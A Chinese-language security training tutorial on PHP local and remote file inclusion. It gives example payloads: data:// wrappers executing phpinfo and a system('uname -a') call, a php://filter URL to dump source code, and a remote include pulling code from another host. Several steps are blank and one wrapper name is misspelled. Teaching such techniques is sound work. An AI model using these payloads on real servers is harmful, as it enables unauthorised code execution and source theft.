重要声明
该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关
任意文件包含漏洞
<任意文件包含漏洞>也叫<文件包含漏洞>
这个漏洞只存在于PHP网站中
是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行
由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行
文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因
漏洞的分类
文件包含漏洞可以大概分为这么两类
1. 本地文件包含
利用的条件是,相关函数内的参数可控
2. 远程文件包含
利用的条件是相关函数内的参数可控,且allow_url_fopen = On
我们先就一个一个的来说一下利用方法
本地文件包含利用方法
本地文件包含漏洞的常规利用方法有以下几个步骤:
小技巧
有上传的时候,可以用包含截断技巧上传
原理
include($_GET['file'] . '.php')
利用方法
当然,我们很多时候遇到的是无上传的网站,那么无上传的时,我们也可以利用
但是要注意权限
利用方法
其中,php://input使用post方式传输我们要执行的php代码
而data://利用条件需要
allow_url_include = On;
php>=5.2.0
其利用方法
file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
file=data:;base64,PD9waHBpbmZvKCk7Lyo=
file=data:text/plain,<?php system("uname -a");?>
最后的php://filter可以用来读取源代码
且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析
我们可以构建如下的语句
http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php
之后就会返回some.php源码的base64加密
远程文件包含利用方法
远程文件包含的利用比较折腾
利用方法
如
可构造如下攻击URL
http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg
然后在test.jpg放上我们希望服务器执行的代码就可以了